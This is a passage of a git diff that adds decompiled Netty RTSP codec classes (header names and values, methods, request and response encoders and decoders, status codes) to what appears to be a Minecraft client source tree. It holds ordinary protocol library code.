+      
+      buf.writeByte(32);
+      buf.writeBytes(String.valueOf(response.status().code()).getBytes(CharsetUtil.US_ASCII));
+      
+      buf.writeByte(32);
+      HttpHeaders.encodeAscii(String.valueOf(response.status().reasonPhrase()), buf);
+      
+      buf.writeBytes(CRLF);
+    } else {
+      throw new UnsupportedMessageTypeException("Unsupported type " + StringUtil.simpleClassName(message));
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/rtsp/RtspHeaderNames.java b/src/minecraft/io/netty/handler/codec/rtsp/RtspHeaderNames.java
new file mode 100644
index 0000000..37e8274
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/rtsp/RtspHeaderNames.java
@@ -0,0 +1,207 @@
+package io.netty.handler.codec.rtsp;
+
+import io.netty.handler.codec.http.HttpHeaderNames;
+import io.netty.util.AsciiString;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class RtspHeaderNames
+{
+  public static final AsciiString ACCEPT = HttpHeaderNames.ACCEPT;
+  
+
+
+  public static final AsciiString ACCEPT_ENCODING = HttpHeaderNames.ACCEPT_ENCODING;
+  
+
+
+  public static final AsciiString ACCEPT_LANGUAGE = HttpHeaderNames.ACCEPT_LANGUAGE;
+  
+
+
+  public static final AsciiString ALLOW = new AsciiString("allow");
+  
+
+
+  public static final AsciiString AUTHORIZATION = HttpHeaderNames.AUTHORIZATION;
+  
+
+
+  public static final AsciiString BANDWIDTH = new AsciiString("bandwidth");
+  
+
+
+  public static final AsciiString BLOCKSIZE = new AsciiString("blocksize");
+  
+
+
+  public static final AsciiString CACHE_CONTROL = HttpHeaderNames.CACHE_CONTROL;
+  
+
+
+  public static final AsciiString CONFERENCE = new AsciiString("conference");
+  
+
+
+  public static final AsciiString CONNECTION = HttpHeaderNames.CONNECTION;
+  
+
+
+  public static final AsciiString CONTENT_BASE = HttpHeaderNames.CONTENT_BASE;
+  
+
+
+  public static final AsciiString CONTENT_ENCODING = HttpHeaderNames.CONTENT_ENCODING;
+  
+
+
+  public static final AsciiString CONTENT_LANGUAGE = HttpHeaderNames.CONTENT_LANGUAGE;
+  
+
+
+  public static final AsciiString CONTENT_LENGTH = HttpHeaderNames.CONTENT_LENGTH;
+  
+
+
+  public static final AsciiString CONTENT_LOCATION = HttpHeaderNames.CONTENT_LOCATION;
+  
+
+
+  public static final AsciiString CONTENT_TYPE = HttpHeaderNames.CONTENT_TYPE;
+  
+
+
+  public static final AsciiString CSEQ = new AsciiString("cseq");
+  
+
+
+  public static final AsciiString DATE = HttpHeaderNames.DATE;
+  
+
+
+  public static final AsciiString EXPIRES = HttpHeaderNames.EXPIRES;
+  
+
+
+  public static final AsciiString FROM = HttpHeaderNames.FROM;
+  
+
+
+  public static final AsciiString HOST = HttpHeaderNames.HOST;
+  
+
+
+  public static final AsciiString IF_MATCH = HttpHeaderNames.IF_MATCH;
+  
+
+
+  public static final AsciiString IF_MODIFIED_SINCE = HttpHeaderNames.IF_MODIFIED_SINCE;
+  
+
+
+  public static final AsciiString KEYMGMT = new AsciiString("keymgmt");
+  
+
+
+  public static final AsciiString LAST_MODIFIED = HttpHeaderNames.LAST_MODIFIED;
+  
+
+
+  public static final AsciiString PROXY_AUTHENTICATE = HttpHeaderNames.PROXY_AUTHENTICATE;
+  
+
+
+  public static final AsciiString PROXY_REQUIRE = new AsciiString("proxy-require");
+  
+
+
+  public static final AsciiString PUBLIC = new AsciiString("public");
+  
+
+
+  public static final AsciiString RANGE = HttpHeaderNames.RANGE;
+  
+
+
+  public static final AsciiString REFERER = HttpHeaderNames.REFERER;
+  
+
+
+  public static final AsciiString REQUIRE = new AsciiString("require");
+  
+
+
+  public static final AsciiString RETRT_AFTER = HttpHeaderNames.RETRY_AFTER;
+  
+
+
+  public static final AsciiString RTP_INFO = new AsciiString("rtp-info");
+  
+
+
+  public static final AsciiString SCALE = new AsciiString("scale");
+  
+
+
+  public static final AsciiString SESSION = new AsciiString("session");
+  
+
+
+  public static final AsciiString SERVER = HttpHeaderNames.SERVER;
+  
+
+
+  public static final AsciiString SPEED = new AsciiString("speed");
+  
+
+
+  public static final AsciiString TIMESTAMP = new AsciiString("timestamp");
+  
+
+
+  public static final AsciiString TRANSPORT = new AsciiString("transport");
+  
+
+
+  public static final AsciiString UNSUPPORTED = new AsciiString("unsupported");
+  
+
+
+  public static final AsciiString USER_AGENT = HttpHeaderNames.USER_AGENT;
+  
+
+
+  public static final AsciiString VARY = HttpHeaderNames.VARY;
+  
+
+
+  public static final AsciiString VIA = HttpHeaderNames.VIA;
+  
+
+
+  public static final AsciiString WWW_AUTHENTICATE = HttpHeaderNames.WWW_AUTHENTICATE;
+  
+  private RtspHeaderNames() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/rtsp/RtspHeaderValues.java b/src/minecraft/io/netty/handler/codec/rtsp/RtspHeaderValues.java
new file mode 100644
index 0000000..9afdb28
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/rtsp/RtspHeaderValues.java
@@ -0,0 +1,196 @@
+package io.netty.handler.codec.rtsp;
+
+import io.netty.handler.codec.http.HttpHeaderValues;
+import io.netty.util.AsciiString;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class RtspHeaderValues
+{
+  public static final AsciiString APPEND = new AsciiString("append");
+  
+
+
+  public static final AsciiString AVP = new AsciiString("AVP");
+  
+
+
+  public static final AsciiString BYTES = HttpHeaderValues.BYTES;
+  
+
+
+  public static final AsciiString CHARSET = HttpHeaderValues.CHARSET;
+  
+
+
+  public static final AsciiString CLIENT_PORT = new AsciiString("client_port");
+  
+
+
+  public static final AsciiString CLOCK = new AsciiString("clock");
+  
+
+
+  public static final AsciiString CLOSE = HttpHeaderValues.CLOSE;
+  
+
+
+  public static final AsciiString COMPRESS = HttpHeaderValues.COMPRESS;
+  
+
+
+  public static final AsciiString CONTINUE = HttpHeaderValues.CONTINUE;
+  
+
+
+  public static final AsciiString DEFLATE = HttpHeaderValues.DEFLATE;
+  
+
+
+  public static final AsciiString DESTINATION = new AsciiString("destination");
+  
+
+
+  public static final AsciiString GZIP = HttpHeaderValues.GZIP;
+  
+
+
+  public static final AsciiString IDENTITY = HttpHeaderValues.IDENTITY;
+  
+
+
+  public static final AsciiString INTERLEAVED = new AsciiString("interleaved");
+  
+
+
+  public static final AsciiString KEEP_ALIVE = HttpHeaderValues.KEEP_ALIVE;
+  
+
+
+  public static final AsciiString LAYERS = new AsciiString("layers");
+  
+
+
+  public static final AsciiString MAX_AGE = HttpHeaderValues.MAX_AGE;
+  
+
+
+  public static final AsciiString MAX_STALE = HttpHeaderValues.MAX_STALE;
+  
+
+
+  public static final AsciiString MIN_FRESH = HttpHeaderValues.MIN_FRESH;
+  
+
+
+  public static final AsciiString MODE = new AsciiString("mode");
+  
+
+
+  public static final AsciiString MULTICAST = new AsciiString("multicast");
+  
+
+
+  public static final AsciiString MUST_REVALIDATE = HttpHeaderValues.MUST_REVALIDATE;
+  
+
+
+  public static final AsciiString NONE = HttpHeaderValues.NONE;
+  
+
+
+  public static final AsciiString NO_CACHE = HttpHeaderValues.NO_CACHE;
+  
+
+
+  public static final AsciiString NO_TRANSFORM = HttpHeaderValues.NO_TRANSFORM;
+  
+
+
+  public static final AsciiString ONLY_IF_CACHED = HttpHeaderValues.ONLY_IF_CACHED;
+  
+
+
+  public static final AsciiString PORT = new AsciiString("port");
+  
+
+
+  public static final AsciiString PRIVATE = HttpHeaderValues.PRIVATE;
+  
+
+
+  public static final AsciiString PROXY_REVALIDATE = HttpHeaderValues.PROXY_REVALIDATE;
+  
+
+
+  public static final AsciiString PUBLIC = HttpHeaderValues.PUBLIC;
+  
+
+
+  public static final AsciiString RTP = new AsciiString("RTP");
+  
+
+
+  public static final AsciiString RTPTIME = new AsciiString("rtptime");
+  
+
+
+  public static final AsciiString SEQ = new AsciiString("seq");
+  
+
+
+  public static final AsciiString SERVER_PORT = new AsciiString("server_port");
+  
+
+
+  public static final AsciiString SSRC = new AsciiString("ssrc");
+  
+
+
+  public static final AsciiString TCP = new AsciiString("TCP");
+  
+
+
+  public static final AsciiString TIME = new AsciiString("time");
+  
+
+
+  public static final AsciiString TIMEOUT = new AsciiString("timeout");
+  
+
+
+  public static final AsciiString TTL = new AsciiString("ttl");
+  
+
+
+  public static final AsciiString UDP = new AsciiString("UDP");
+  
+
+
+  public static final AsciiString UNICAST = new AsciiString("unicast");
+  
+
+
+  public static final AsciiString URL = new AsciiString("url");
+  
+  private RtspHeaderValues() {}
+}
diff --git a/src/minecraft/io/netty/handler/codec/rtsp/RtspHeaders.java b/src/minecraft/io/netty/handler/codec/rtsp/RtspHeaders.java
new file mode 100644
index 0000000..1aab8cf
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/rtsp/RtspHeaders.java
@@ -0,0 +1,104 @@
+package io.netty.handler.codec.rtsp;
+
+public final class RtspHeaders
+{
+  private RtspHeaders() {}
+  
+  public static final class Values
+  {
+    public static final String APPEND = "append";
+    public static final String AVP = "AVP";
+    public static final String BYTES = "bytes";
+    public static final String CHARSET = "charset";
+    public static final String CLIENT_PORT = "client_port";
+    public static final String CLOCK = "clock";
+    public static final String CLOSE = "close";
+    public static final String COMPRESS = "compress";
+    public static final String CONTINUE = "100-continue";
+    public static final String DEFLATE = "deflate";
+    public static final String DESTINATION = "destination";
+    public static final String GZIP = "gzip";
+    public static final String IDENTITY = "identity";
+    public static final String INTERLEAVED = "interleaved";
+    public static final String KEEP_ALIVE = "keep-alive";
+    public static final String LAYERS = "layers";
+    public static final String MAX_AGE = "max-age";
+    public static final String MAX_STALE = "max-stale";
+    public static final String MIN_FRESH = "min-fresh";
+    public static final String MODE = "mode";
+    public static final String MULTICAST = "multicast";
+    public static final String MUST_REVALIDATE = "must-revalidate";
+    public static final String NONE = "none";
+    public static final String NO_CACHE = "no-cache";
+    public static final String NO_TRANSFORM = "no-transform";
+    public static final String ONLY_IF_CACHED = "only-if-cached";
+    public static final String PORT = "port";
+    public static final String PRIVATE = "private";
+    public static final String PROXY_REVALIDATE = "proxy-revalidate";
+    public static final String PUBLIC = "public";
+    public static final String RTP = "RTP";
+    public static final String RTPTIME = "rtptime";
+    public static final String SEQ = "seq";
+    public static final String SERVER_PORT = "server_port";
+    public static final String SSRC = "ssrc";
+    public static final String TCP = "TCP";
+    public static final String TIME = "time";
+    public static final String TIMEOUT = "timeout";
+    public static final String TTL = "ttl";
+    public static final String UDP = "UDP";
+    public static final String UNICAST = "unicast";
+    public static final String URL = "url";
+    
+    private Values() {}
+  }
+  
+  public static final class Names
+  {
+    public static final String ACCEPT = "Accept";
+    public static final String ACCEPT_ENCODING = "Accept-Encoding";
+    public static final String ACCEPT_LANGUAGE = "Accept-Language";
+    public static final String ALLOW = "Allow";
+    public static final String AUTHORIZATION = "Authorization";
+    public static final String BANDWIDTH = "Bandwidth";
+    public static final String BLOCKSIZE = "Blocksize";
+    public static final String CACHE_CONTROL = "Cache-Control";
+    public static final String CONFERENCE = "Conference";
+    public static final String CONNECTION = "Connection";
+    public static final String CONTENT_BASE = "Content-Base";
+    public static final String CONTENT_ENCODING = "Content-Encoding";
+    public static final String CONTENT_LANGUAGE = "Content-Language";
+    public static final String CONTENT_LENGTH = "Content-Length";
+    public static final String CONTENT_LOCATION = "Content-Location";
+    public static final String CONTENT_TYPE = "Content-Type";
+    public static final String CSEQ = "CSeq";
+    public static final String DATE = "Date";
+    public static final String EXPIRES = "Expires";
+    public static final String FROM = "From";
+    public static final String HOST = "Host";
+    public static final String IF_MATCH = "If-Match";
+    public static final String IF_MODIFIED_SINCE = "If-Modified-Since";
+    public static final String KEYMGMT = "KeyMgmt";
+    public static final String LAST_MODIFIED = "Last-Modified";
+    public static final String PROXY_AUTHENTICATE = "Proxy-Authenticate";
+    public static final String PROXY_REQUIRE = "Proxy-Require";
+    public static final String PUBLIC = "Public";
+    public static final String RANGE = "Range";
+    public static final String REFERER = "Referer";
+    public static final String REQUIRE = "Require";
+    public static final String RETRT_AFTER = "Retry-After";
+    public static final String RTP_INFO = "RTP-Info";
+    public static final String SCALE = "Scale";
+    public static final String SESSION = "Session";
+    public static final String SERVER = "Server";
+    public static final String SPEED = "Speed";
+    public static final String TIMESTAMP = "Timestamp";
+    public static final String TRANSPORT = "Transport";
+    public static final String UNSUPPORTED = "Unsupported";
+    public static final String USER_AGENT = "User-Agent";
+    public static final String VARY = "Vary";
+    public static final String VIA = "Via";
+    public static final String WWW_AUTHENTICATE = "WWW-Authenticate";
+    
+    private Names() {}
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/rtsp/RtspMethods.java b/src/minecraft/io/netty/handler/codec/rtsp/RtspMethods.java
new file mode 100644
index 0000000..522fd23
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/rtsp/RtspMethods.java
@@ -0,0 +1,135 @@
+package io.netty.handler.codec.rtsp;
+
+import io.netty.handler.codec.http.HttpMethod;
+import java.util.HashMap;
+import java.util.Map;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class RtspMethods
+{
+  public static final HttpMethod OPTIONS = HttpMethod.OPTIONS;
+  
+
+
+
+
+  public static final HttpMethod DESCRIBE = new HttpMethod("DESCRIBE");
+  
+
+
+
+
+
+  public static final HttpMethod ANNOUNCE = new HttpMethod("ANNOUNCE");
+  
+
+
+
+
+  public static final HttpMethod SETUP = new HttpMethod("SETUP");
+  
+
+
+
+
+  public static final HttpMethod PLAY = new HttpMethod("PLAY");
+  
+
+
+
+
+  public static final HttpMethod PAUSE = new HttpMethod("PAUSE");
+  
+
+
+
+
+  public static final HttpMethod TEARDOWN = new HttpMethod("TEARDOWN");
+  
+
+
+
+
+  public static final HttpMethod GET_PARAMETER = new HttpMethod("GET_PARAMETER");
+  
+
+
+
+
+  public static final HttpMethod SET_PARAMETER = new HttpMethod("SET_PARAMETER");
+  
+
+
+
+
+  public static final HttpMethod REDIRECT = new HttpMethod("REDIRECT");
+  
+
+
+
+
+  public static final HttpMethod RECORD = new HttpMethod("RECORD");
+  
+  private static final Map<String, HttpMethod> methodMap = new HashMap();
+  
+  static {
+    methodMap.put(DESCRIBE.toString(), DESCRIBE);
+    methodMap.put(ANNOUNCE.toString(), ANNOUNCE);
+    methodMap.put(GET_PARAMETER.toString(), GET_PARAMETER);
+    methodMap.put(OPTIONS.toString(), OPTIONS);
+    methodMap.put(PAUSE.toString(), PAUSE);
+    methodMap.put(PLAY.toString(), PLAY);
+    methodMap.put(RECORD.toString(), RECORD);
+    methodMap.put(REDIRECT.toString(), REDIRECT);
+    methodMap.put(SETUP.toString(), SETUP);
+    methodMap.put(SET_PARAMETER.toString(), SET_PARAMETER);
+    methodMap.put(TEARDOWN.toString(), TEARDOWN);
+  }
+  
+
+  private RtspMethods() {}
+  
+
+  public static HttpMethod valueOf(String name)
+  {
+    if (name == null) {
+      throw new NullPointerException("name");
+    }
+    
+    name = name.trim().toUpperCase();
+    if (name.isEmpty()) {
+      throw new IllegalArgumentException("empty name");
+    }
+    
+    HttpMethod result = (HttpMethod)methodMap.get(name);
+    if (result != null) {
+      return result;
+    }
+    return new HttpMethod(name);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/rtsp/RtspObjectDecoder.java b/src/minecraft/io/netty/handler/codec/rtsp/RtspObjectDecoder.java
new file mode 100644
index 0000000..3b55284
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/rtsp/RtspObjectDecoder.java
@@ -0,0 +1,87 @@
+package io.netty.handler.codec.rtsp;
+
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpMessage;
+import io.netty.handler.codec.http.HttpObjectDecoder;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class RtspObjectDecoder
+  extends HttpObjectDecoder
+{
+  protected RtspObjectDecoder()
+  {
+    this(4096, 8192, 8192);
+  }
+  
+
+
+  protected RtspObjectDecoder(int maxInitialLineLength, int maxHeaderSize, int maxContentLength)
+  {
+    super(maxInitialLineLength, maxHeaderSize, maxContentLength * 2, false);
+  }
+  
+  protected RtspObjectDecoder(int maxInitialLineLength, int maxHeaderSize, int maxContentLength, boolean validateHeaders)
+  {
+    super(maxInitialLineLength, maxHeaderSize, maxContentLength * 2, false, validateHeaders);
+  }
+  
+
+
+  protected boolean isContentAlwaysEmpty(HttpMessage msg)
+  {
+    boolean empty = super.isContentAlwaysEmpty(msg);
+    if (empty) {
+      return true;
+    }
+    if (!msg.headers().contains("Content-Length")) {
+      return true;
+    }
+    return empty;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/rtsp/RtspObjectEncoder.java b/src/minecraft/io/netty/handler/codec/rtsp/RtspObjectEncoder.java
new file mode 100644
index 0000000..b7e0a63
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/rtsp/RtspObjectEncoder.java
@@ -0,0 +1,41 @@
+package io.netty.handler.codec.rtsp;
+
+import io.netty.channel.ChannelHandler.Sharable;
+import io.netty.handler.codec.http.FullHttpMessage;
+import io.netty.handler.codec.http.HttpMessage;
+import io.netty.handler.codec.http.HttpObjectEncoder;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@ChannelHandler.Sharable
+public abstract class RtspObjectEncoder<H extends HttpMessage>
+  extends HttpObjectEncoder<H>
+{
+  protected RtspObjectEncoder() {}
+  
+  public boolean acceptOutboundMessage(Object msg)
+    throws Exception
+  {
+    return msg instanceof FullHttpMessage;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/rtsp/RtspRequestDecoder.java b/src/minecraft/io/netty/handler/codec/rtsp/RtspRequestDecoder.java
new file mode 100644
index 0000000..726872f
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/rtsp/RtspRequestDecoder.java
@@ -0,0 +1,88 @@
+package io.netty.handler.codec.rtsp;
+
+import io.netty.handler.codec.http.DefaultHttpRequest;
+import io.netty.handler.codec.http.HttpMessage;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class RtspRequestDecoder
+  extends RtspObjectDecoder
+{
+  public RtspRequestDecoder() {}
+  
+  public RtspRequestDecoder(int maxInitialLineLength, int maxHeaderSize, int maxContentLength)
+  {
+    super(maxInitialLineLength, maxHeaderSize, maxContentLength);
+  }
+  
+  public RtspRequestDecoder(int maxInitialLineLength, int maxHeaderSize, int maxContentLength, boolean validateHeaders)
+  {
+    super(maxInitialLineLength, maxHeaderSize, maxContentLength, validateHeaders);
+  }
+  
+  protected HttpMessage createMessage(String[] initialLine) throws Exception
+  {
+    return new DefaultHttpRequest(RtspVersions.valueOf(initialLine[2]), RtspMethods.valueOf(initialLine[0]), initialLine[1], validateHeaders);
+  }
+  
+
+  protected HttpMessage createInvalidMessage()
+  {
+    return new DefaultHttpRequest(RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, "/bad-request", validateHeaders);
+  }
+  
+  protected boolean isDecodingRequest()
+  {
+    return true;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/rtsp/RtspRequestEncoder.java b/src/minecraft/io/netty/handler/codec/rtsp/RtspRequestEncoder.java
new file mode 100644
index 0000000..e39c88a
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/rtsp/RtspRequestEncoder.java
@@ -0,0 +1,49 @@
+package io.netty.handler.codec.rtsp;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.handler.codec.http.FullHttpRequest;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpMethod;
+import io.netty.handler.codec.http.HttpRequest;
+import io.netty.handler.codec.http.HttpVersion;
+import io.netty.util.CharsetUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class RtspRequestEncoder
+  extends RtspObjectEncoder<HttpRequest>
+{
+  private static final byte[] CRLF = { 13, 10 };
+  
+  public RtspRequestEncoder() {}
+  
+  public boolean acceptOutboundMessage(Object msg) throws Exception { return msg instanceof FullHttpRequest; }
+  
+
+  protected void encodeInitialLine(ByteBuf buf, HttpRequest request)
+    throws Exception
+  {
+    HttpHeaders.encodeAscii(request.getMethod().toString(), buf);
+    buf.writeByte(32);
+    buf.writeBytes(request.getUri().getBytes(CharsetUtil.UTF_8));
+    buf.writeByte(32);
+    encodeAscii(request.getProtocolVersion().toString(), buf);
+    buf.writeBytes(CRLF);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/rtsp/RtspResponseDecoder.java b/src/minecraft/io/netty/handler/codec/rtsp/RtspResponseDecoder.java
new file mode 100644
index 0000000..725907c
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/rtsp/RtspResponseDecoder.java
@@ -0,0 +1,93 @@
+package io.netty.handler.codec.rtsp;
+
+import io.netty.handler.codec.http.DefaultHttpResponse;
+import io.netty.handler.codec.http.HttpMessage;
+import io.netty.handler.codec.http.HttpResponseStatus;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class RtspResponseDecoder
+  extends RtspObjectDecoder
+{
+  private static final HttpResponseStatus UNKNOWN_STATUS = new HttpResponseStatus(999, "Unknown");
+  
+
+
+
+
+
+  public RtspResponseDecoder() {}
+  
+
+
+
+
+  public RtspResponseDecoder(int maxInitialLineLength, int maxHeaderSize, int maxContentLength)
+  {
+    super(maxInitialLineLength, maxHeaderSize, maxContentLength);
+  }
+  
+  public RtspResponseDecoder(int maxInitialLineLength, int maxHeaderSize, int maxContentLength, boolean validateHeaders)
+  {
+    super(maxInitialLineLength, maxHeaderSize, maxContentLength, validateHeaders);
+  }
+  
+  protected HttpMessage createMessage(String[] initialLine) throws Exception
+  {
+    return new DefaultHttpResponse(RtspVersions.valueOf(initialLine[0]), new HttpResponseStatus(Integer.parseInt(initialLine[1]), initialLine[2]), validateHeaders);
+  }
+  
+
+
+  protected HttpMessage createInvalidMessage()
+  {
+    return new DefaultHttpResponse(RtspVersions.RTSP_1_0, UNKNOWN_STATUS, validateHeaders);
+  }
+  
+  protected boolean isDecodingRequest()
+  {
+    return false;
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/rtsp/RtspResponseEncoder.java b/src/minecraft/io/netty/handler/codec/rtsp/RtspResponseEncoder.java
new file mode 100644
index 0000000..deb7d43
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/rtsp/RtspResponseEncoder.java
@@ -0,0 +1,48 @@
+package io.netty.handler.codec.rtsp;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.handler.codec.http.FullHttpResponse;
+import io.netty.handler.codec.http.HttpHeaders;
+import io.netty.handler.codec.http.HttpResponse;
+import io.netty.handler.codec.http.HttpResponseStatus;
+import io.netty.handler.codec.http.HttpVersion;
+import io.netty.util.CharsetUtil;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class RtspResponseEncoder
+  extends RtspObjectEncoder<HttpResponse>
+{
+  private static final byte[] CRLF = { 13, 10 };
+  
+  public RtspResponseEncoder() {}
+  
+  public boolean acceptOutboundMessage(Object msg) throws Exception { return msg instanceof FullHttpResponse; }
+  
+
+  protected void encodeInitialLine(ByteBuf buf, HttpResponse response)
+    throws Exception
+  {
+    HttpHeaders.encodeAscii(response.getProtocolVersion().toString(), buf);
+    buf.writeByte(32);
+    buf.writeBytes(String.valueOf(response.getStatus().code()).getBytes(CharsetUtil.US_ASCII));
+    buf.writeByte(32);
+    encodeAscii(String.valueOf(response.getStatus().reasonPhrase()), buf);
+    buf.writeBytes(CRLF);
+  }
+}
diff --git a/src/minecraft/io/netty/handler/codec/rtsp/RtspResponseStatuses.java b/src/minecraft/io/netty/handler/codec/rtsp/RtspResponseStatuses.java
new file mode 100644
index 0000000..b0ce879
--- /dev/null
+++ b/src/minecraft/io/netty/handler/codec/rtsp/RtspResponseStatuses.java
@@ -0,0 +1,290 @@
+package io.netty.handler.codec.rtsp;
+
+import io.netty.handler.codec.http.HttpResponseStatus;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class RtspResponseStatuses
+{
+  public static final HttpResponseStatus CONTINUE = HttpResponseStatus.CONTINUE;
+  
+
+
+
+  public static final HttpResponseStatus OK = HttpResponseStatus.OK;
+  
+
+
+
+  public static final HttpResponseStatus CREATED = HttpResponseStatus.CREATED;
+  
+
+
+
+  public static final HttpResponseStatus LOW_STORAGE_SPACE = new HttpResponseStatus(250, "Low on Storage Space");
+  
+
+
+
+
+  public static final HttpResponseStatus MULTIPLE_CHOICES = HttpResponseStatus.MULTIPLE_CHOICES;
+  
+
+
+
+  public static final HttpResponseStatus MOVED_PERMANENTLY = HttpResponseStatus.MOVED_PERMANENTLY;
+  
+
+
+
+  public static final HttpResponseStatus MOVED_TEMPORARILY = new HttpResponseStatus(302, "Moved Temporarily");
+  
+
+
+
+  public static final HttpResponseStatus NOT_MODIFIED = HttpResponseStatus.NOT_MODIFIED;
+  
+
+
+
+  public static final HttpResponseStatus USE_PROXY = HttpResponseStatus.USE_PROXY;
+  
+
+
+
+  public static final HttpResponseStatus BAD_REQUEST = HttpResponseStatus.BAD_REQUEST;
+  
+
+
+
+  public static final HttpResponseStatus UNAUTHORIZED = HttpResponseStatus.UNAUTHORIZED;
+  
+
+
+
+  public static final HttpResponseStatus PAYMENT_REQUIRED = HttpResponseStatus.PAYMENT_REQUIRED;
+  
+
+
+
+  public static final HttpResponseStatus FORBIDDEN = HttpResponseStatus.FORBIDDEN;
+  
+
+
+
+  public static final HttpResponseStatus NOT_FOUND = HttpResponseStatus.NOT_FOUND;
+  
+
+
+
+  public static final HttpResponseStatus METHOD_NOT_ALLOWED = HttpResponseStatus.METHOD_NOT_ALLOWED;
+  
+
+
+
+  public static final HttpResponseStatus NOT_ACCEPTABLE = HttpResponseStatus.NOT_ACCEPTABLE;
+  
+
+
+
+  public static final HttpResponseStatus PROXY_AUTHENTICATION_REQUIRED = HttpResponseStatus.PROXY_AUTHENTICATION_REQUIRED;
+  
+
+
+
+
+  public static final HttpResponseStatus REQUEST_TIMEOUT = HttpResponseStatus.REQUEST_TIMEOUT;
+  
+
+
+
+  public static final HttpResponseStatus GONE = HttpResponseStatus.GONE;
+  
+
+
+
+  public static final HttpResponseStatus LENGTH_REQUIRED = HttpResponseStatus.LENGTH_REQUIRED;
+  
+
+
+
+  public static final HttpResponseStatus PRECONDITION_FAILED = HttpResponseStatus.PRECONDITION_FAILED;
+  
+
+
+
+  public static final HttpResponseStatus REQUEST_ENTITY_TOO_LARGE = HttpResponseStatus.REQUEST_ENTITY_TOO_LARGE;
+  
+
+
+
+  public static final HttpResponseStatus REQUEST_URI_TOO_LONG = HttpResponseStatus.REQUEST_URI_TOO_LONG;
+  
+
+
+
+  public static final HttpResponseStatus UNSUPPORTED_MEDIA_TYPE = HttpResponseStatus.UNSUPPORTED_MEDIA_TYPE;
+  
+
+
+
+  public static final HttpResponseStatus PARAMETER_NOT_UNDERSTOOD = new HttpResponseStatus(451, "Parameter Not Understood");
+  
+
+
+
+
+  public static final HttpResponseStatus CONFERENCE_NOT_FOUND = new HttpResponseStatus(452, "Conference Not Found");
+  
+
+
+
+
+  public static final HttpResponseStatus NOT_ENOUGH_BANDWIDTH = new HttpResponseStatus(453, "Not Enough Bandwidth");
+  
+
+
+
+
+  public static final HttpResponseStatus SESSION_NOT_FOUND = new HttpResponseStatus(454, "Session Not Found");
+  
+
+
+
+
+  public static final HttpResponseStatus METHOD_NOT_VALID = new HttpResponseStatus(455, "Method Not Valid in This State");
+  
+
+
+
+
+  public static final HttpResponseStatus HEADER_FIELD_NOT_VALID = new HttpResponseStatus(456, "Header Field Not Valid for Resource");
+  
+
+
+
+
+  public static final HttpResponseStatus INVALID_RANGE = new HttpResponseStatus(457, "Invalid Range");
+  
+
+
+
+
+  public static final HttpResponseStatus PARAMETER_IS_READONLY = new HttpResponseStatus(458, "Parameter Is Read-Only");
+  
+
+
+
+
+  public static final HttpResponseStatus AGGREGATE_OPERATION_NOT_ALLOWED = new HttpResponseStatus(459, "Aggregate operation not allowed");
+  
+
+
+
+
+  public static final HttpResponseStatus ONLY_AGGREGATE_OPERATION_ALLOWED = new HttpResponseStatus(460, "Only Aggregate operation allowed");
+  
+
+
+
+
+  public static final HttpResponseStatus UNSUPPORTED_TRANSPORT = new HttpResponseStatus(461, "Unsupported transport");
+  
+
+
+
+
+  public static final HttpResponseStatus DESTINATION_UNREACHABLE = new HttpResponseStatus(462, "Destination unreachable");
+  
+
+
+
+
+  public static final HttpResponseStatus KEY_MANAGEMENT_FAILURE = new HttpResponseStatus(463, "Key management failure");
+  
+
+
+
+
+  public static final HttpResponseStatus INTERNAL_SERVER_ERROR = HttpResponseStatus.INTERNAL_SERVER_ERROR;
+  
+
+
+
+  public static final HttpResponseStatus NOT_IMPLEMENTED = HttpResponseStatus.NOT_IMPLEMENTED;
+  
+
+
+
+  public static final HttpResponseStatus BAD_GATEWAY = HttpResponseStatus.BAD_GATEWAY;
+  
+
+
+
+  public static final HttpResponseStatus SERVICE_UNAVAILABLE = HttpResponseStatus.SERVICE_UNAVAILABLE;
+  
+
+
+
+  public static final HttpResponseStatus GATEWAY_TIMEOUT = HttpResponseStatus.GATEWAY_TIMEOUT;
+  
+
+
+
